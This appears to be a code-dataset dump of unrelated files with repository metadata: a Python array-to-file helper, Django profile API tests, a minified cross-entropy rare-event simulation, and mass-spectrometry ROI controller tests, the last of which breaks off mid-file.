scripts/exp_scripts/src/logparse/write_array_to_file.py

MobilityFirst/GNS

1eb5524457e0075dc9f451bd66e39f9291052eb8

[ "Apache-2.0" ]

62

2015-11-13T20:04:47.000Z

2020-01-10T12:20:44.000Z

''' Created on Mar 5, 2012 @author: abhigyan ''' import os def write_array(array,output_file, p = True): if os.path.dirname(output_file) != '' and not os.path.exists(os.path.dirname(output_file)): os.system('mkdir -p ' + os.path.dirname(output_file)) fw = open(output_file,'w') for val in array: fw.write(str(val)+'\n') fw.close() if p : print "Output File:", output_file def write_tuple_array(tuple_array, output_file, p=True): if os.path.dirname(output_file) != '' and not os.path.exists(os.path.dirname(output_file)): os.system('mkdir -p ' + os.path.dirname(output_file)) fw = open(output_file,'w') for t in tuple_array: for val in t: fw.write(str(val)+'\t') fw.write('\n') fw.close() if p: print "Output File:", output_file

26.30303

95

0.59447

131

868

3.80916

0.274809

0.280561

0.156313

0.228457

0.717435

0

0.007716

0.253456

868

32

96

27.125

0.762346

0

0.571429

0

0.06105

0

null

0

0.047619

null

0.095238

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1

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1

0

1

0

null

0

1

0

8

0d1d64a9cd06281da447b0c8a46403ee6b97b7a0

6,766

py

Python

src/account/api/tests.py

geetesh-gupta/woc

a9ca0a30da11008024b4aa941751ef00ba4da53d

[ "MIT" ]

2

2018-10-14T06:48:45.000Z

2018-10-14T06:51:44.000Z

src/account/api/tests.py

geetesh-gupta/woc

a9ca0a30da11008024b4aa941751ef00ba4da53d

[ "MIT" ]

null

src/account/api/tests.py

geetesh-gupta/woc

a9ca0a30da11008024b4aa941751ef00ba4da53d

[ "MIT" ]

null

from django.test import TestCase from django.shortcuts import reverse from rest_framework import status from account.models import StudentProfile from account.models import MentorProfile from django.contrib.auth.models import User class StudentProfileViewSetTest(TestCase): @classmethod def setUpClass(cls): super().setUpClass() cls.user = User.objects.create_user(username='student', password='password') def test_bad_request(self): self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:student-profile-list')) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_created(self): data = { 'phone': 9999999999, 'github': 'https://github.com/abc', 'gender': StudentProfile.GENDER_CHOICES[0][0], 'branch': StudentProfile.BRANCH_CHOICES[0][0], 'year': StudentProfile.YEAR_CHOICES[0][0], 'user': self.user.id } self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:student-profile-list'), data=data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_missing_user_id(self): data = { 'phone': 9999999999, 'github': 'https://github.com/abc', 'gender': StudentProfile.GENDER_CHOICES[0][0], 'branch': StudentProfile.BRANCH_CHOICES[0][0], 'year': StudentProfile.YEAR_CHOICES[0][0], } self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:student-profile-list'), data=data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.content.decode('utf-8'), '{"user":["This field is required."]}') def test_invalid_user_id(self): data = { 'phone': 9999999999, 'github': 'https://github.com/abc', 'gender': StudentProfile.GENDER_CHOICES[0][0], 'branch': StudentProfile.BRANCH_CHOICES[0][0], 'year': StudentProfile.YEAR_CHOICES[0][0], 'user': self.user.id + 12 } self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:student-profile-list'), data=data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.content.decode('utf-8'), '{"user":["Invalid pk \\"13\\" - object does not exist."]}') class MentorProfileViewSetTest(TestCase): @classmethod def setUpClass(cls): super().setUpClass() cls.user = User.objects.create_user(username='mentor', password='password') def test_bad_request(self): self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:mentor-profile-list')) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_created(self): data = { 'phone': 9999999999, 'github': 'https://github.com/abc', 'gender': MentorProfile.GENDER_CHOICES[0][0], 'user': self.user.id, 'past_experience': 'None', 'about_me': 'Expert' } self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:mentor-profile-list'), data=data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_missing_user_id(self): data = { 'phone': 9999999999, 'github': 'https://github.com/abc', 'gender': MentorProfile.GENDER_CHOICES[0][0], 'past_experience': 'None', 'about_me': 'Expert' } self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:mentor-profile-list'), data=data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.content.decode('utf-8'), '{"user":["This field is required."]}') def test_invalid_user_id(self): data = { 'phone': 9999999999, 'github': 'https://github.com/abc', 'gender': MentorProfile.GENDER_CHOICES[0][0], 'user': self.user.id + 12, 'past_experience': 'None', 'about_me': 'Expert' } self.client.login(username=self.user.username, password='password') response = self.client.post(reverse('api:account:mentor-profile-list'), data=data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.content.decode('utf-8'), '{"user":["Invalid pk \\"13\\" - object does not exist."]}') class UserViewSetTest(TestCase): @classmethod def setUpClass(cls): super().setUpClass() cls.user = User.objects.create_user(username='mentor', password='password') def test_get_current_user(self): response = self.client.get(reverse('api:account:user-current')) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.client.login(username=self.user.username, password='password') response = self.client.get(reverse('api:account:user-current')) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_user_with_no_profile_type(self): self.client.login(username=self.user.username, password='password') response = self.client.get(reverse('api:account:user-profile')) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) def test_user_with_mentor_profile(self): self.client.login(username=self.user.username, password='password') self.mentor_profile = MentorProfile.objects.create(user=self.user) response = self.client.get(reverse('api:account:user-profile')) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.content.decode('utf-8'), '{"type":"mentor-profile","id":%s}' % self.mentor_profile.id) def test_user_with_student_profile(self): self.client.login(username=self.user.username, password='password') self.student_profile = StudentProfile.objects.create(user=self.user) response = self.client.get(reverse('api:account:user-profile')) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.content.decode('utf-8'), '{"type":"student-profile","id":%s}' % self.student_profile.id)

46.662069

120

0.659622

788

6,766

5.529188

0.120558

0.057379

0.100298

0.086527

0.88134

0.880422

0.879275

0

0.025277

0.198936

6,766

144

121

46.986111

0.778598

0

0.738095

0

0.173367

0.064883

0

0.150794

1

0.119048

false

0.119048

0.047619

0

0.190476

0

null

0

1

0

1

0

null

0

1

0

8

0d4c5168126102934625bd657da3d711b64bcc28

10,887

py

Python

ce/ce_test.py

travelbureau/RareSim

065f7b6f790544bd491ab8c52352d8ab4808fd99

[ "MIT" ]

9

2019-01-20T14:51:47.000Z

2022-02-06T09:50:19.000Z

ce/ce_test.py

travelbureau/RareSim

065f7b6f790544bd491ab8c52352d8ab4808fd99

[ "MIT" ]

1

2021-03-04T04:59:54.000Z

ce/ce_test.py

travelbureau/RareSim

065f7b6f790544bd491ab8c52352d8ab4808fd99

[ "MIT" ]

3

2019-07-20T02:48:07.000Z

2021-10-08T02:49:32.000Z

def test_objective(obs_v,obs_w,obs_x,obs_y,obs_gail,sockets=0,ic=0): return .5*(np.sum(np.power(obs_v,2.)+np.power(obs_w,2.)+np.power(obs_x,2.)+np.power(obs_y,2.),0)+np.sum(np.power(obs_gail,2.),0)) def test_objective_simple(obs_v,obs_w,obs_x,obs_y,obs_gail,sockets=0,ic=0): return obs_x[0,:] def test_gradient(obs_v,obs_w,obs_x,obs_y,obs_gail,sockets=0): return obs_v,obs_w,obs_x,obs_y,obs_gail def test_ce(seed_value): np.random.seed(seed_value) num_agents=2 base_v=np.abs(np.random.randn(num_agents,1)) base_w=np.array([[1.8,4.1],[2.1,2.8]]) base_x=np.column_stack((np.random.randn(num_agents),10*np.random.rand(num_agents))) base_y=np.array([[1.2,2.3],[3.1,1.8]]) print 'base_v' print base_v print 'base_w' print base_w print 'base_x' print base_x print 'base_y' print base_y dim_gail=20 mu=5.*np.random.randn(dim_gail) sigma=np.diag(np.random.rand(dim_gail)) base_gail=np.vstack((mu,sigma)) print 'gail mean' print mu lanes=np.array([4,5]) ic=init_conds.init_conds(base_v,base_w,base_x,base_y,base_gail,lanes) base_mean=np.power(base_v,2.).sum()+2.*num_agents +np.power(base_x[:,0],2.).sum() +np.power(mu,2.).sum() levels_mult=np.array([1.,3.,5.,10.]) print 'levels' print levels_mult*base_mean sample_size=np.int(1000000.) num_iter=100 save_iter=(np.array([30,70,100])-1).astype(int) rho=.95 alpha=.9 ce_sample_size=5000 ns_naive=sample_size+np.int(ce_sample_size*(save_iter[-1]+1)) obs_v=ic.sample_obs(ic.model_v,ic.nat_base_v,ns_naive) obs_w=ic.sample_obs(ic.model_w,ic.nat_base_w,ns_naive) obs_x=ic.sample_obs(ic.model_x,ic.nat_base_x,ns_naive) obs_y=ic.sample_obs(ic.model_y,ic.nat_base_y,ns_naive) obs_gail=ic.sample_obs(ic.model_gail,ic.nat_base_gail,ns_naive,if_gail=True) objs_naive=test_objective(obs_v,obs_w,obs_x,obs_y,obs_gail,0.) objs_ce=np.empty((save_iter.size,sample_size)) like_ratio=np.empty((save_iter.size,sample_size)) sample_sizes=np.full(num_iter,ce_sample_size).astype(int) step_sizes=np.full(num_iter,alpha) all_nat_param_v,all_nat_param_w,all_nat_param_x, all_nat_param_y,all_nat_param_gail =cross_entropy(ic,rho,levels_mult[-1]*base_mean,num_iter,save_iter,sample_sizes,step_sizes,test_objective) counter=0 for num_iter in save_iter: print '----------------------- Processing '+str(num_iter+1) +' -------------------' obs_v=ic.sample_obs(ic.model_v,all_nat_param_v[counter,:],sample_size) obs_w=ic.sample_obs(ic.model_w,all_nat_param_w[counter,:],sample_size) obs_x=ic.sample_obs(ic.model_x,all_nat_param_x[counter,:],sample_size) obs_y=ic.sample_obs(ic.model_y,all_nat_param_y[counter,:],sample_size) obs_gail=ic.sample_obs(ic.model_gail,all_nat_param_gail[counter,:],sample_size,if_gail=True) objs_ce[counter,:]=test_objective(obs_v,obs_w,obs_x,obs_y,obs_gail,0.) print 'mean_ce' print np.mean(objs_ce[counter,:]) like_ratio_v,like_ratio_w,like_ratio_x,like_ratio_y,like_ratio_gail =ic.compute_like_ratio(obs_v,obs_w,obs_x,obs_y,obs_gail,all_nat_param_v[counter,:],all_nat_param_w[counter,:],all_nat_param_x[counter,:],all_nat_param_y[counter,:],all_nat_param_gail[counter,:]) like_ratio[counter,:]=like_ratio_v*like_ratio_w*like_ratio_x *like_ratio_y*like_ratio_gail print '---------------- nat_param ---------------------' print 'all_nat_param_v' print all_nat_param_v[counter,:] print 'all_nat_param_w' print all_nat_param_w[counter,:] print 'all_nat_param_x' print all_nat_param_x[counter,:] print 'all_nat_param_y' print all_nat_param_y[counter,:] counter+=1 est_naive=np.empty((levels_mult.size,save_iter.size)) std_naive=np.empty((levels_mult.size,save_iter.size)) est_ce=np.empty((levels_mult.size,save_iter.size)) std_ce=np.empty((levels_mult.size,save_iter.size)) num_events_naive=np.zeros((levels_mult.size,save_iter.size)) num_events_ce=np.zeros((levels_mult.size,save_iter.size)) for ii in xrange(levels_mult.size): level=base_mean*levels_mult[ii] objs_naive_level=(objs_naive>level).astype(float) for jj in xrange(save_iter.size): ns_naive =np.minimum(np.int((save_iter[jj]+1)*ce_sample_size),sample_size) est_naive[ii,jj]=np.mean(objs_naive_level[:ns_naive]) std_naive[ii,jj]=np.std(objs_naive_level[:ns_naive]) num_events_naive[ii,jj]=np.sum(objs_naive_level[:ns_naive]) objs_ce_level=like_ratio[jj,:] *(objs_ce[jj,:]>level).astype(float) est_ce[ii,jj]=np.mean(objs_ce_level[:sample_size]) std_ce[ii,jj]=np.std(objs_ce_level[:sample_size]) num_events_ce[ii,jj]=np.sum(objs_ce[jj,:]>level) filename=os.getcwd()+'/rho='+str(rho)+'_alpha='+str(alpha) +'_cesample='+str(ce_sample_size)+'.h5' with h5py.File(filename,'w')as f: f.create_dataset('levels_mult',data=levels_mult) f.create_dataset('save_iter',data=save_iter) f.create_dataset('rho',data=rho) f.create_dataset('alpha',data=alpha) f.create_dataset('ce_sample_size',data=ce_sample_size) f.create_dataset('all_nat_param_v',data=all_nat_param_v) f.create_dataset('all_nat_param_w',data=all_nat_param_w) f.create_dataset('all_nat_param_x',data=all_nat_param_x) f.create_dataset('all_nat_param_y',data=all_nat_param_y) f.create_dataset('all_nat_param_gail',data=all_nat_param_gail) f.create_dataset('base_v',data=base_v) f.create_dataset('base_w',data=base_w) f.create_dataset('base_x',data=base_x) f.create_dataset('base_y',data=base_y) f.create_dataset('base_gail',data=base_gail) f.create_dataset('objs_naive',data=objs_naive) f.create_dataset('objs_ce',data=objs_ce) f.create_dataset('like_ratio_ce',data=like_ratio) return est_naive,std_naive,est_ce,std_ce, num_events_naive,num_events_ce def test_ce_simple(seed_value): np.random.seed(seed_value) num_agents=2 base_v=np.abs(np.random.randn(num_agents,1)) base_w=np.array([[1.8,4.1],[2.1,2.8]]) base_x=np.column_stack((np.random.randn(num_agents),10*np.random.rand(num_agents))) base_y=np.array([[1.2,2.3],[3.1,1.8]]) print 'base_v' print base_v print 'base_w' print base_w print 'base_x' print base_x print 'base_y' print base_y dim_gail=20 mu=5.*np.random.randn(dim_gail) sigma=np.diag(np.random.rand(dim_gail)) base_gail=np.vstack((mu,sigma)) print 'gail mean' print mu lanes=np.array([4,5]) ic=init_conds.init_conds(base_v,base_w,base_x,base_y,base_gail,lanes) base_mean=np.abs(base_x[0,0]) levels_mult=np.array([2.,10.,14.,18.]) print 'levels' print levels_mult*base_mean sample_size=np.int(1000000.) num_iter=100 save_iter=(np.array([30,70,100])-1).astype(int) rho=.9 alpha=.9 ce_sample_size=10000 ns_naive=sample_size+np.int(ce_sample_size*(save_iter[-1]+1)) obs_v=ic.sample_obs(ic.model_v,ic.nat_base_v,ns_naive) obs_w=ic.sample_obs(ic.model_w,ic.nat_base_w,ns_naive) obs_x=ic.sample_obs(ic.model_x,ic.nat_base_x,ns_naive) obs_y=ic.sample_obs(ic.model_y,ic.nat_base_y,ns_naive) obs_gail=ic.sample_obs(ic.model_gail,ic.nat_base_gail,ns_naive,if_gail=True) objs_naive=test_objective_simple(obs_v,obs_w,obs_x,obs_y,obs_gail,0.) objs_ce=np.empty((save_iter.size,sample_size)) like_ratio=np.empty((save_iter.size,sample_size)) sample_sizes=np.full(num_iter,ce_sample_size).astype(int) step_sizes=np.full(num_iter,alpha) all_nat_param_v,all_nat_param_w,all_nat_param_x, all_nat_param_y,all_nat_param_gail =cross_entropy(ic,rho,levels_mult[-1]*base_mean,num_iter,save_iter,sample_sizes,step_sizes,test_objective_simple) print 'full likelihoods' counter=0 for num_iter in save_iter: print '----------------------- Processing '+str(num_iter+1) +' -------------------' obs_v=ic.sample_obs(ic.model_v,all_nat_param_v[counter,:],sample_size) obs_w=ic.sample_obs(ic.model_w,all_nat_param_w[counter,:],sample_size) obs_x=ic.sample_obs(ic.model_x,all_nat_param_x[counter,:],sample_size) obs_y=ic.sample_obs(ic.model_y,all_nat_param_y[counter,:],sample_size) obs_gail=ic.sample_obs(ic.model_gail,all_nat_param_gail[counter,:],sample_size,if_gail=True) objs_ce[counter,:]=test_objective_simple(obs_v,obs_w,obs_x,obs_y,obs_gail,0.) print 'mean_ce' print np.mean(objs_ce[counter,:]) like_ratio_v,like_ratio_w,like_ratio_x,like_ratio_y,like_ratio_gail =ic.compute_like_ratio(obs_v,obs_w,obs_x,obs_y,obs_gail,all_nat_param_v[counter,:],all_nat_param_w[counter,:],all_nat_param_x[counter,:],all_nat_param_y[counter,:],all_nat_param_gail[counter,:]) like_ratio[counter,:]=like_ratio_v*like_ratio_w*like_ratio_x *like_ratio_y*like_ratio_gail print '---------------- nat_param ---------------------' print 'all_nat_param_v' print all_nat_param_v[counter,:] print 'all_nat_param_w' print all_nat_param_w[counter,:] print 'all_nat_param_x' print all_nat_param_x[counter,:] print 'all_nat_param_y' print all_nat_param_y[counter,:] counter+=1 est_naive=np.empty((levels_mult.size,save_iter.size)) std_naive=np.empty((levels_mult.size,save_iter.size)) est_ce=np.empty((levels_mult.size,save_iter.size)) std_ce=np.empty((levels_mult.size,save_iter.size)) num_events_naive=np.zeros((levels_mult.size,save_iter.size)) num_events_ce=np.zeros((levels_mult.size,save_iter.size)) actual=np.empty(levels_mult.size) for ii in xrange(levels_mult.size): level=base_mean*levels_mult[ii] objs_naive_level=(objs_naive>level).astype(float) actual[ii]=1-stats.norm.cdf((level-base_x[0,0])/np.sqrt(base_x[0,1])) for jj in xrange(save_iter.size): ns_naive =np.minimum(np.int((save_iter[jj]+1)*ce_sample_size),sample_size) est_naive[ii,jj]=np.mean(objs_naive_level[:ns_naive]) std_naive[ii,jj]=np.std(objs_naive_level[:ns_naive]) num_events_naive[ii,jj]=np.sum(objs_naive_level[:ns_naive]) objs_ce_level=like_ratio[jj,:] *(objs_ce[jj,:]>level).astype(float) est_ce[ii,jj]=np.mean(objs_ce_level[:sample_size]) std_ce[ii,jj]=np.std(objs_ce_level[:sample_size]) num_events_ce[ii,jj]=np.sum(objs_ce[jj,:]>level) filename=os.getcwd()+'/rho='+str(rho)+'_alpha='+str(alpha) +'_cesample='+str(ce_sample_size)+'.h5' with h5py.File(filename,'w')as f: f.create_dataset('levels_mult',data=levels_mult) f.create_dataset('save_iter',data=save_iter) f.create_dataset('rho',data=rho) f.create_dataset('alpha',data=alpha) f.create_dataset('ce_sample_size',data=ce_sample_size) f.create_dataset('all_nat_param_v',data=all_nat_param_v) f.create_dataset('all_nat_param_w',data=all_nat_param_w) f.create_dataset('all_nat_param_x',data=all_nat_param_x) f.create_dataset('all_nat_param_y',data=all_nat_param_y) f.create_dataset('all_nat_param_gail',data=all_nat_param_gail) f.create_dataset('base_v',data=base_v) f.create_dataset('base_w',data=base_w) f.create_dataset('base_x',data=base_x) f.create_dataset('base_y',data=base_y) f.create_dataset('base_gail',data=base_gail) f.create_dataset('objs_naive',data=objs_naive) f.create_dataset('objs_ce',data=objs_ce) f.create_dataset('like_ratio_ce',data=like_ratio) return est_naive,std_naive,est_ce,std_ce, num_events_naive,num_events_ce,actual # Created by pyminifier (https://github.com/liftoff/pyminifier)

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0d4e79de7f4cf2996b538bf9d4cb0c812bedbdaa

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py

Python

tests/test_controllers_roi.py

hechth/vimms

ce5922578cf225d46cb285da8e7af97b5321f5aa

[ "MIT" ]

11

2019-07-11T09:19:18.000Z

2021-03-07T08:44:36.000Z

tests/test_controllers_roi.py

hechth/vimms

ce5922578cf225d46cb285da8e7af97b5321f5aa

[ "MIT" ]

159

2019-12-11T14:41:40.000Z

2021-03-31T19:47:08.000Z

tests/test_controllers_roi.py

hechth/vimms

ce5922578cf225d46cb285da8e7af97b5321f5aa

[ "MIT" ]

4

2019-10-09T18:42:49.000Z

2020-07-10T14:21:59.000Z

from loguru import logger from tests.conftest import N_CHEMS, MIN_MS1_INTENSITY, get_rt_bounds, CENTRE_RANGE, run_environment, \ check_non_empty_MS2, check_mzML, OUT_DIR, BEER_CHEMS, BEER_MIN_BOUND, BEER_MAX_BOUND from vimms.Box import LocatorGrid, IdentityDrift, AllOverlapGrid from vimms.Common import POSITIVE, ROI_EXCLUSION_WEIGHTED_DEW from vimms.Controller import TopN_RoiController, TopN_SmartRoiController, NonOverlapController, \ IntensityNonOverlapController, FlexibleNonOverlapController, RoiBuilder from vimms.Environment import Environment from vimms.GridEstimator import GridEstimator from vimms.MassSpec import IndependentMassSpectrometer class TestROIController: """ Tests the ROI controller that performs fragmentations and dynamic exclusions based on selecting regions of interests (rather than the top-N most intense peaks) """ def test_roi_controller_with_simulated_chems(self, fragscan_dataset): logger.info('Testing ROI controller with simulated chemicals') assert len(fragscan_dataset) == N_CHEMS for f in fragscan_dataset: assert len(f.children) > 0 isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 50 min_roi_length = 2 ionisation_mode = POSITIVE # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset) controller = TopN_RoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, rt_tol) # create an environment to run both the mass spec and controller min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE) env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'roi_controller_simulated_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_roi_controller_with_beer_chems(self): logger.info('Testing ROI controller with QC beer chemicals') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) controller = TopN_RoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, rt_tol) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'roi_controller_qcbeer_chems.mzML' check_mzML(env, OUT_DIR, filename) class TestSMARTROIController: """ Tests the ROI controller that performs fragmentations and dynamic exclusions based on selecting regions of interests (rather than the top-N most intense peaks) """ def test_smart_roi_controller_with_simulated_chems(self, fragscan_dataset): logger.info('Testing ROI controller with simulated chemicals') assert len(fragscan_dataset) == N_CHEMS isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 50 min_roi_length = 0 ionisation_mode = POSITIVE # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset) controller = TopN_SmartRoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, rt_tol, min_roi_length_for_fragmentation=0) # create an environment to run both the mass spec and controller min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE) env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True) run_environment(env) assert len(controller.scans[2]) > 0 # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'smart_roi_controller_simulated_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_smart_roi_controller_with_beer_chems(self): logger.info('Testing ROI controller with QC beer chemicals') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) controller = TopN_SmartRoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, rt_tol) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'smart_controller_qcbeer_chems.mzML' check_mzML(env, OUT_DIR, filename) class TestNonOverlapController: def test_nonoverlap_controller_with_simulated_chems(self, fragscan_dataset): logger.info('Testing non-overlap controller with simulated chemicals') assert len(fragscan_dataset) == N_CHEMS isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 50 min_roi_length = 0 ionisation_mode = POSITIVE min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE) rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset) grid = GridEstimator(LocatorGrid(min_bound, max_bound, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True) run_environment(env) assert len(controller.scans[2]) > 0 # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'non_overlap_controller_simulated_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_non_overlap_controller_with_beer_chems(self): logger.info('Testing non-overlap controller with QC beer chemicals') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(LocatorGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'non_overlap_qcbeer_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_non_overlap_controller_with_beer_chems_and_smartROI_rules(self): logger.info('Testing non-overlap controller with QC beer chemicals and SmartROI rules') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(LocatorGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0, roi_type=RoiBuilder.ROI_TYPE_SMART, reset_length_seconds=1e6, intensity_increase_factor=10, drop_perc=0.1 / 100 ) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'non_overlap_qcbeer_chems_smartroi.mzML' check_mzML(env, OUT_DIR, filename) def test_non_overlap_controller_with_beer_chems_and_weighteddew_rules(self): logger.info('Testing non-overlap controller with QC beer chemicals and WeightedDEW rules') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 120 exclusion_t_0 = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(LocatorGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0, exclusion_method=ROI_EXCLUSION_WEIGHTED_DEW, exclusion_t_0=exclusion_t_0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'non_overlap_qcbeer_chems_weighteddew.mzML' check_mzML(env, OUT_DIR, filename) class TestIntensityNonOverlapController: def test_intensity_nonoverlap_controller_with_simulated_chems(self, fragscan_dataset): logger.info('Testing intensity non-overlap controller with simulated chemicals') assert len(fragscan_dataset) == N_CHEMS isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 50 min_roi_length = 0 ionisation_mode = POSITIVE min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE) rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset) grid = GridEstimator(AllOverlapGrid(min_bound, max_bound, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True) run_environment(env) assert len(controller.scans[2]) > 0 # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'intensity_non_overlap_controller_simulated_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_intensity_non_overlap_controller_with_beer_chems(self): logger.info('Testing intensity non-overlap controller with QC beer chemicals') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI 